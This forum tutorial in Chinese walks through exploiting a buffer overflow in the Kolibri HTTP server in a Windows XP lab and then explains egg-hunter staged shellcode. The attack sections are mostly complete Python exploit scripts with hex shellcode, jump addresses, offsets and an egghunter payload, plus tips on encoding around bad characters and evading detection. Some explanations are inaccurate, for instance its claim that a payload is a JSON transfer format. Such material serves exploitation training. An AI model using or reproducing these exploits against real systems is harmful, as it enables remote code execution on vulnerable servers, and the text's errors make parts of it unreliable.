首页
社区
课程
招聘
[原创]从缓冲区漏洞利用到egghunter
发表于: 2021-1-1 21:12 2579

[原创]从缓冲区漏洞利用到egghunter

2021-1-1 21:12
2579

为什么我要写这篇文章,主要是希望可以透过对Kolibri的逆向分析,来理清楚逆向的思路和流程,进而深入学习寻蛋代码,从而加深对逆向的理解。期间,我会发散性探究里面用到的技术和语言。具体的写作思路,我以问题为导向,逐步开展。写得不好,不当之处,请大家见谅和指出。

 

 

上篇:缓冲区漏洞利用详细细节

问题1:Kolibri程序,是一个怎样的文件,我们首先需要知道它的哪些信息,又可以使用哪些方法来获得这些信息?

阅读说明文档:

Kolibri is a simple HTTP server that supports serving static web content.

这是一个简单的http服务器。

另外我们可以发现,他的默认端口是8080,并且是基于本地。

测试:

                                             

                                               


 

采用工具PEID

PEID是一款什么软件应用?具体可以有哪些用途?

PEiD是一款著名的查壳工具,其功能强大,几乎可以侦测出所有的壳,其数量已超过470 种PE 文档 的加壳类型和签名。

l  判断是否加壳:

通过PEID来查看可执行程序是否加壳,有外壳就去壳,没有外壳,通常会爆出编写的语言;通过IDA来打开文件,如果有壳,则文件通常不能正常显示通过OD打开,正常的文件开头都是55,8BEC;如果不是,则考虑去壳。

l  判断由什么语言编写的:

通过vc的插件depends来打开文件,查看dll的依赖关系。下面是相关文件的说明:

Windows三大“核心部件/子系统”是kernel(管理内核),user(管理用户操作),GDI(管理有关图形的操作)此外我们会看到NTDll.dll,它是Windows系统从ring3到ring0的入口,位于Kernel32.dll和user32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的RPCRT.dll 是远程调用函数的接口。Secure32.dll windows安全特性相关的动态链接库。comctl32.dllWindows应用程序公用GUI图形用户界面模块。comdlg32.dllWindows应用程序公用对话框模块,用于例如打开文件对话框。comdlg32.dll在遇到木马或病毒袭击时可能产生丢失的问题,导致相关应用程序无法正常加载。advapi32.dll是一个高级API应用程序接口服务库的一部分,包含的函数与对象的安全性,注册表的操控以及事件日志有关。

 

(插入说明)对PEID软件的进一步说明。

PEiD是一款著名的查壳工具,其功能强大,几乎可以侦测出所有的壳,其数量已超过470 PE文档的加壳类型和签名,可以探测大多数PE文件封包器、加密器和编译器。

PEID的扫描模式

正常扫描模式:可在PE文档的入口点扫描所有记录的签名;

深度扫描模式:可深入扫描所有记录的签名,这种模式要比上一种的扫描范围更广、更深入;

核心扫描模式:可完整地扫描整个PE文档,建议将此模式作为最后的选择。

  PEiD内置有差错控制的技术,所以一般能确保扫描结果的准确性。前两种扫描模式几乎在瞬间就可得到结果,最后一种有点慢,原因显而易见。

插件应用

最常用的插件就是脱壳。Peid的插件里面有个通用脱壳器,能脱大部分的壳,如果脱壳后import表损害,还可以自动调用ImportREC修复improt表。

                                         

 

壳的原理:

在一些计算机软件里有一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务。从技术的角度出发,壳是一段执行于原始程序前的代码。原始程序的代码在加壳的过程中可能被压缩、加密。当加壳后的文件执行时,壳这段代码先于原始程序运行,他把压缩、加密后的代码还原成原始程序代码,然后再把执行权交还给原始代码。 软件的壳分为加密壳、压缩壳、伪装壳、多层壳等类,目的都是为了隐藏程序真正的OEP

 

 

 

问题2:对该软件的逆向流程是什么?原理是什么?可以讲一下思路吗?

对于本软的逆行原理是什么:

通过http服务器返回一个很长的“精心设计”的字符串给客户端(利用缓冲区溢出的漏洞),从而实现任意代码可执行。

逆向流程:

较为通用的逆向流程是(反推):

利用缓冲区漏洞来实现任意代码可执行        ß           确定缓冲区大小和位置及可执行代码的长短       ß      确定缓冲区溢出的偏移量,以及返回地址         ß

构建pattern 字符串,通过该脚本来获取漏洞利用的关键数据

(其中还涉及若干断点的设置和调试)

 

本题的思路:

(1)      先使用PEID来查看该软件是否有壳,及使用的语言

(2)      打开该软件,在OD里挂起,通过构建若干多个字符串,也验证其缓冲区溢出漏洞

(3)      将之前的字符串换成,专门的patter字符串,利用插件,来获取关键的suggest(包括与esp,eip的偏移和漏洞利用的建议)

(4)      验证该建议,设置断点,然后查看是否覆盖了返回地址

(5)      编写shellcode,结合前面的步骤,构建payload,最后验证实验结果

 

 

(插入说明)相关名词的简单解释

(后面当涉及时,会进一步阐述。)

OD,是一款什么软件?

ollydbg(od反汇编工具)是当前逆向工程主流的动态跟踪调试工具,ollydbg(od反汇编工具)适合32位动态调试,调试过程可随时插入全局标签,过程直观简练,是反汇编工作必备的调试工具。

 ollydbg(od反汇编工具)支持的处理器有 80x86、奔腾、MMX、3DNOW!、Athlon扩展指令集、SSE指令集以及相关的数据格式,但是不支持SSE2指令集。

缓冲区溢出是什么?

缓冲区溢出就是指就是向固定长度的缓冲区中写入超出其预告分配长度的内容,造成缓冲区中数据的溢出,从而覆盖了缓冲区周围的内存空间。黑客借此精心构造填充数据,导致原有流程的改变,让程序转而执行特殊的代码,最终获取控制权。

有堆溢出、栈溢出、BSS溢出、格式化串溢出。

 

patter字符串

其实就是一串,很有规则的字符串,方便我们查询溢出位置。

 

ESP:

扩展栈指针。这个寄存器指向栈的当前位置,并允许通过使用push和pop操作或者直接的指针操作来对栈中的内容进行添加和移除

 

EIP:

扩展指令指针。在调用一个函数时,这个指针被存储在栈中,用于后面的使用。在函数返回时,这个被存储的地址被用于决定下一个将被执行的指令的地址

(用自己的话来说,就是在调用函数前,esp指向下一个地址(我认为这里是为了配合ebp来即将调用的函数,开辟一个栈空间),eip指向当前地址,,并先把该指针先压入栈中,根据栈的先进后出的原则,这个指针就是最后的返回地址,即我们一直关注的ret地址。)

 

EBP

扩展基指针。这个寄存器在函数的执行过程中通常是保持不变的。它作为一个静态指针使用,用于指向基本栈的信息,例如使用了偏移量的函数的数据和变量。这个指针通常指向函数使用的栈底部

 

 

Shellcode:

shellcode是用来发送到服务器利用特定漏洞的代码,它能在极小的空间内完成一些基本而重要的工作。

有如下三种方式来实现:

1.      直接编写十六进制操作码(不现实);

2.      采用像C这样的高级语言编写程序,编译后,进行反汇编以获取汇编指令和十六进制操作码。

3.      编译汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。

 

Payload

是一种以JSON格式进行数据传输的一种方式。

 

 

问题3:具体实现过程是怎样的?

(1)先使用PEID来查看该软件是否有壳,及使用的语言

                                    

     这里显示无壳,还有32位

 

(2)打开该软件,在OD里挂起,通过构建若干多个字符串,也验证其缓冲区溢出漏洞

实验环境:XP

工具 :Immunity Debugger

挂起

                                               

构建poc.(这里是通过python来编写的poc.)


import      socket

poc="A"*600

buffer      = (

"HEAD      /" + poc + " HTTP/1.1\r\n"

"Host:      192.168.249:8080\r\n"

"User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026      Firefox/3.6.12\r\n"

"Keep-Alive:      115\r\n"

"Connection:      " + colse+ "\r\n\r\n")

expl      = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

expl.connect(("192.168.249",8080));  #目标IP,8080默认端口

expl.send(buffer);

expl.close();

expl.close();


(引入socket,通过在缓冲区中,构建http协议,来实现poc的写入,上面的IP地址,需要改成自己的IP)

构建600个A,证明该存在缓冲区溢出的漏洞。

                                                  

 

 

 

 

 

(插入说明)什么是poc

POC可以看成是一段验证的代码,就像是一个证据,能够证明漏洞的真实性。

EXP(Exploit):中文直译为“漏洞利用”,简单点讲,就是通过EXP能够实现漏洞的利用价值。比如某个系统存在SQL注入漏洞,我们可以编写EXP来提取数据库版本信息等。

 

典型的POC框架,有Pocsuite,Tangscan,Bugscan等,

编写一个POC,需要首先构建一个POC框架,熟悉漏洞详情,构建漏洞靶场,选择编程语言。

具体的可以参照github: https://github.com/knownsec

 

本体比较恰当应该叫EXP,但是习惯了,见谅!

                                                  

 

 

 

 

 

 

(3)将之前的字符串换成,专门的pattern字符串,利用插件,来获取关键的suggest(包括与esp,eip的偏移和漏洞利用的建议)

 

利用!pvefindaddr插件,来生成600个pattern字符。(也有用!mona插件的,其实效果大同小异)

 

                                                                 

直接通过log来查看。

                                                   

替换原字符串,形成新的poc。


import      socket

poc      = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4";

buffer      = (

"HEAD      /" + poc + " HTTP/1.1\r\n"

"Host:      192.168.249.131:8080\r\n"

"User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026      Firefox/3.6.12\r\n"

"Keep-Alive:      115\r\n"

"Connection:      keep-alive\r\n\r\n")

expl      = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

expl.connect(("192.168.249.131",8080));  

expl.send(buffer);

expl.close();


重复(2),进一步得到关键信息。

                                                        

这里再度溢出,利用!pvefindaddr suggest,来展示pattern字符串的好处了。

                                                     

 

这里提示出我们的EIP 已经被覆盖,也就是返回地址已经被我们控制。

然后RET偏移字符串的个数是176。

ESP的偏移量是180。(这里不难理解,因为ESP指向EIP的下一条命令,所以176+4=180)

如何获取跳转地址。

还有就是payload的建议。

这里纠正一下,本次软件的正确偏移量是515-519,但是为什么会变呢,我通过查阅资料,猜想是因为我测试的次数过多,导致缓冲区有残余的字符串,影响我们的输出,但是对我们的输入没有影响,这里我们继续使用515-519,这个重要的数据。

 

(4)验证该建议,设置断点,然后查看是否覆盖了返回地址

 

验证一下:

                 

将Ag0A,换成BBBB.

                                                                              

成功验证!!!!

(5)编写shellcode,结合前面的步骤,构建payload,最后验证实验结果

结合上面的,我们的poc构造思路有了:

Poc=”A”*515+”跳转地址”+“shellcode”

 

利用!pvefindaddr插件,来获取跳转地址。

                                                         

随便选取一个地址,这里我用的是0x771263ea。改写成小端\xea\x63\x12\x77。

 

构建shellcode

\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0

 

这是一个打开DOS窗口的shellcode。

 

最后我们的POC如下


import      socket

poc      = "A" * 515+"\xea\x63\x12\x77"+"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";

buffer      = (

"HEAD      /" + poc + " HTTP/1.1\r\n"

"Host:      192.168.249.131:8080\r\n"

"User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026      Firefox/3.6.12\r\n"

"Keep-Alive:      115\r\n"

"Connection:      keep-alive\r\n\r\n")

 

expl      = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

expl.connect(("192.168.249.131",8080));  

expl.send(buffer);

expl.close();


 

首先在跳转地址\xea\x63\x12\x77处下一个断点F2,观察。

                                                   

 

然后运行POC,单步调试。

                                                   

 

                                                   

 

运行到我们的shellcode。

                                                              

成功弹出dos窗口。

 

(插入说明)大端和小端

这里主要的区分在于,字节的存储位置和地址的关系。

大端:高字节存储在高位,低字节存储在低位,可以看着是顺序存储,适合人类的思维方式,从左往右。

小端:高字节存储在低位,低字节存储在高位,是一种逆序,适合计算机处理数据。

它们之间的好坏,很多官方文件都说不清楚,有些产品用大端,有些是小端

 

 

 

 

 

 

 

 

 

下篇:复活节彩蛋

之前讲述了各种各样跳转到 shellcode 的技术,这其中还包括了那些需要利用一个甚至几个跳板才能找 到 shellcode 的复杂技术。在这些示例例子中,栈上的有效内存空间总是足以保存整个 shellcode 代码。

那么如果可用的内存放不下整个 Shellcode 代码怎么办呢?

问题1:什么是寻蛋代码?

寻蛋技术是”Staged shellcode”技术的一种。寻蛋是利用一小段 代码来在内存中寻找真正的(代码尺寸较大的)shellcode(the “egg”)的技术。换句话说就是:首先一小段代码被执行, 然后找到真正的 shellcode 并执行。

使用这项技术,需要复合三个前置条件:

1. 必须能够跳转(jmp,call,push/ret)并执行一些shellcode。这时有效的缓冲区内存可以相对小一些,以为这 时只需要保存那些寻蛋代码(egg hunter)。寻蛋代码必须被放置在预先设定的位置,这样才能控制代码 可靠的跳转到寻蛋代码并执行寻蛋代码。

2. 最终要执行的 shellcode 必须在内存的某个位置(堆、栈等)存在。

3. 必须在最终要执行的 shellcode 的前面放置唯一的标识。最初执行的 shellcode(即寻蛋代码)将逐字节 的搜寻内存来寻找这个标识。找到后就通过 jmp 或 call 指令来开始执行跟在标识后的代码。这就意味着 首先必须在寻蛋代码中定义这个标识,然后并把这个标识写在实际的 shellcode 前面。

 

根据上述,我们可以认为。

payload=“A”*足够的填充字符填充缓冲区+返回(跳转)地址+寻蛋代码+shellcode.

Shellcode=”寻蛋标识”+真正的shellcode。

 

在本次实验中,我们的代码是这样的。


import      socket

 

poc      = "A"*461+"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"+"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"+"\xEB\xC4"+"A"*100

 

shellcode      = "w00tw00t"+      "\x31\xD2\xB2\x30\x64\x8B\x12\x8B\x52\x0C\x8B\x52\x1C\x8B\x42\x08\x8B\x72\x20\x8B\x12\x80\x7E\x0C\x33\x75\xF2\x89\xC7\x03\x78\x3C\x8B\x57\x78\x01\xC2\x8B\x7A\x20\x01\xC7\x31\xED\x8B\x34\xAF\x01\xC6\x45\x81\x3E\x46\x61\x74\x61\x75\xF2\x81\x7E\x08\x45\x78\x69\x74\x75\xE9\x8B\x7A\x24\x01\xC7\x66\x8B\x2C\x6F\x8B\x7A\x1C\x01\xC7\x8B\x7C\xAF\xFC\x01\xC7\x68\x74\x5F\x67\x6F\x68\x20\x40\x4C\x65\x89\xE1\x33\xC0\x88\x41\x08\x51\x50\xFF\xD7"

 

buffer      = (

"HEAD      /" + poc + " HTTP/1.1\r\n"

"Host:      192.168.249:8080\r\n"

"User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026      Firefox/3.6.12\r\n"

"Keep-Alive:      115\r\n"

"Connection:      " + shellcode + "\r\n\r\n")

 

expl      = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

expl.connect(("192.168.249",8080));  #目标IP,8080默认端口

expl.send(buffer);

expl.close();

expl.close();

 

 


 

我们来对上面的代码进行分析一下。

"A"*461   :用461个A来填充缓冲区,为什么是461,而不是515,这里是因为我们也将寻蛋代码,写入了缓冲区。

 

"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"+

"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"  

                                             

:寻蛋代码,这里一种54个字符,可以使用插件生成。

\x66\x81\xca\xff\x0f   :  获取页面的最后一个地址。

\x42                :   计数器。

。。。

\x75\xe7\xff\xe7      :如果第一个egg被找到,就跳转到shellcode的开头。

 

"\xEB\xC4"     :短跳转指令EB,长度-60(0xc4)因为短跳转的范围是-128~127,所以最高正数为7F,大于7F就为负跳转,C4为负跳转; 上面的是反汇编的结果

 

shellcode = "w00tw00t"+ "\x31\xD2\xB2\x30\x64\x8B\x12\x8B\x52\x0C\x8B\x52\x1C\x8B\x42\x08\x8B\x72\x20\x8B\x12\x80\x7E\x0C\x33\x75\xF2\x89\xC7\x03\x78\x3C\x8B\x57\x78\x01\xC2\x8B\x7A\x20\x01\xC7\x31\xED\x8B\x34\xAF\x01\xC6\x45\x81\x3E\x46\x61\x74\x61\x75\xF2\x81\x7E\x08\x45\x78\x69\x74\x75\xE9\x8B\x7A\x24\x01\xC7\x66\x8B\x2C\x6F\x8B\x7A\x1C\x01\xC7\x8B\x7C\xAF\xFC\x01\xC7\x68\x74\x5F\x67\x6F\x68\x20\x40\x4C\x65\x89\xE1\x33\xC0\x88\x41\x08\x51\x50\xFF\xD7"

前面的“w00tw00t”是寻蛋标识, 切记我们需要在 shellcode 前面放置两个连续的标记(如果只搜索一次标记,寻蛋代码很可能会误把自己当作结果)。

 

构造好Buffer后再次启动漏洞程序,运行POC之前先使用快捷键Ctrl + G跳转到0x7d5a30d7处下一个断点,避免程序跑飞,然后运行POC,

                                                       

                                                             

                                                                  

                                                          


注意:这里的几次跳转地址,在不同的电脑上,可能会有偏差,所以希望大家可以从头看起。

插入说明:短跳转

Short Jump(短跳转)机器码 EB rel8

只能跳转到256字节的范围内

Near Jump(近跳转)机器码 E9 rel16/32

可跳至同一个段的范围内的地址

Far Jump(远跳转)机器码EA ptr 16:16/32

可跳至任意地址,使用48位/32位全指针

 

短跳转和近跳转指令中包含的操作数都是相对于(E)IP的偏移,而远跳转指令中包含的是目标的绝对地址,所以短/近跳转会出现跳至同一目标的指令机器码不同,不仅会不同,而且应该不同。而远跳转中包含的是绝对地址,因此转移到同一地址的指令机器码相同

 

下面的指令是这样计算偏移的.

004A2FCE    ^ E9 072BFEFF   jmp    00485ADA

           

485ADA-4A2FCE=  FFFE2B0C  这里只是指向当前指令的IP处,实际计算跳转地址要去

掉当前指令的长度,当前的跳转指令需要5个字节,FFFE2B0C-5=FFFE2B07

 

我们一般就用E9了,所以计算公式就是 要跳转的地址-指令所在的位置-5=机器码

当然 如果我们要在内存中写的话,肯定是写机器码的。也就是也E9 机器码。

问题2:为什么使用寻蛋代码?

1.      寻蛋代码,适用于内存太小,不足以存放所以的shellcode,所以需要使用这种代码。

2.      寻蛋代码,拥有极高的隐蔽性和分散性,我们可以通过它绕过很多的检测。

某种程度上,它是利用了代码的编译过滤漏洞。

问题3:寻蛋代码有哪些缺陷?

具体使用哪种寻蛋代码,需要我们考虑两个条件:

1. 运行寻蛋代码所需要的缓冲区大小。

2. 要测试选用的搜索内存的技术是否能在你的机器上和你要利用的 exploit 上正常工作。

问题4:寻蛋代码可以有哪些改进和拓展?

需要调整寻蛋代码使它从正确的位置开始搜索;

有时内存中可能存在最终的 shellcode 的多份拷贝。不过这里面有些拷贝被破坏(或被截断了)。这种情况下,就必须修改搜索的开始位置来避开那些被破坏的拷贝。(毕竟寻蛋代码只寻找标记组成的 8 个字节而不检查后面的 shellcode 的有效性) 可以使用”!pvefindaddr compare”命令来找出 shellcode 在内存中的位置以及有没有被破坏。

如:

                                                                      

第一条指令执行后,EDX 的值改变为 0x0012FFFF。下一条指令(INC EDX)把 edx 的值增加 1,现在 EDX 中的值是 0x00130000.这个值指向当前栈帧(Stack Frame)的结尾,所以搜索过程没有尝试搜索当前栈帧来找到一份 shellcode 的 拷贝。如果吧FFFF,改成0000,则是从当前栈帧开始搜索。

 

Badchars 和编码器

像 shellcode 一样,内存中寻蛋代码也很容易遭到破坏。因为它同样也收到 bad chars 等因素困扰。所以当寻蛋 代码执行时发生错误,比较内存中的拷贝和原始版本的差异来找出 Bad Chars不失为上上策。

 

发现寻蛋代码被破坏后该怎么办呢? 为了使寻蛋代码工作,也许要换用一种编码方式,也许要使用一个“bad char”过滤器过滤掉那些导致代码在 内存中被破坏(修改)的字符。

 

方法:

利用 Metasploit

注意寻蛋代码使用的编码器和“Bad chars”过滤器可能完全不同于用在 shellcode 上的。虽然这种情况不经常发 生,但确实存在。 对寻蛋代码(或 shellcode)是很简单的。把寻蛋代码写入一个文件,然后对寻蛋代码进行编码,然后把编码后 的输出作为新的寻蛋代码。至于是否要把标记也进行编码取决于那些 bad chars.不过一般情况下,不应该把对标记 编码。毕竟如果编码后标记变了,你必须把改变后的标记放在 shellcode 前„„这样不得不对寻蛋代码进行调试,从 而找出标记是如何变化的

 

手工编码:

如果限制太多,Metasploit不能帮完成对shellcode编码该怎么办呢?(寻蛋代码也属于shellcode 的一种,所以这里指的是各种形式的 shellcode) 例如 Bad Char 的列表非常大,而寻蛋代码又只能由字符加数字组成,怎么办? 当然,需要进行手工编码。事实上光对寻蛋代码编码还不能完全打碎身上枷锁,真正需要的是一个能重新生成 原始的寻蛋代码的并执行的解码器

如:

                                                        

 

解码

实现解码代码的流程如下:

1‘设置栈和寄存器的值。(解码后的寻蛋代码大概保存在当前的执行地址 + 解码器代码的长度的位置。而解码后 的寻蛋代码执行时需要的寄存器的值会影响解码代码应该出现的地址。不过如果你能通过 jmp esp 来跳转到解 码后的寻蛋代码执行,那么 ESP 在开始解码时是指向当前执行代码的位置你只需要简单的增加 ESP 的值,使它 指向一个合适的位置就行了)

2每次4字节的在栈上解码代码处生成原始的寻蛋代码(使用2个与运算清空EAX,3个减法运算生成原始的字节, 然后用 push 指令把刚生成的代码压栈)。

3.      当所有的指令被重新生成以后,解码后的寻蛋代码就该开始执行了。 首先来对寻蛋代码进行编码。先把代码按 4 字节进行分组,并从最后一组开始编码。这时因为我们会把解码后 的代码压栈,所以后解码的代码首先执行)。采用 NtAccessCheckAndAuditAlarm 技术的寻蛋代码占用 32 字 节,已经是 4 字节对齐的了,如果没有对齐,可以在代码后面增加一些 byte(nops)先完成对齐,然后 在从下网上逐组进行编码。

 

此外,还有Shellcode 被转换成了 UNICODE,摊煎饼式的寻蛋代码。

 

摊煎饼式的寻蛋算法的中信思想和普通的寻蛋算法一样,除了两处主要的不同:

1.Shellcode 被拆分成小块(可以理解为有多个蛋)。

2. Shellcode 执行前需要进行合并(而普通的算法则是找到后直接执行)。 除此之外,摊煎饼式寻蛋代码(90 个字节)会显著的比普通寻蛋代码(大约 30 到 60 个字节)更大。

 

首先需要把原始的 shellcode 拆分成多个小块。每一个小块需要一个包含下列信息的头部: 1.小代码块的长度

2.小代码块的索引值

3.用于检测小代码快的 3 字节标记

 

摊煎饼式的寻蛋代码同样也需要直到每个小代码块的大小、小代码快的数目、是被小代码快的 3 字节标记。



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-1-1 21:14 被奋进的小杨编辑 ,原因:
上传的附件:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//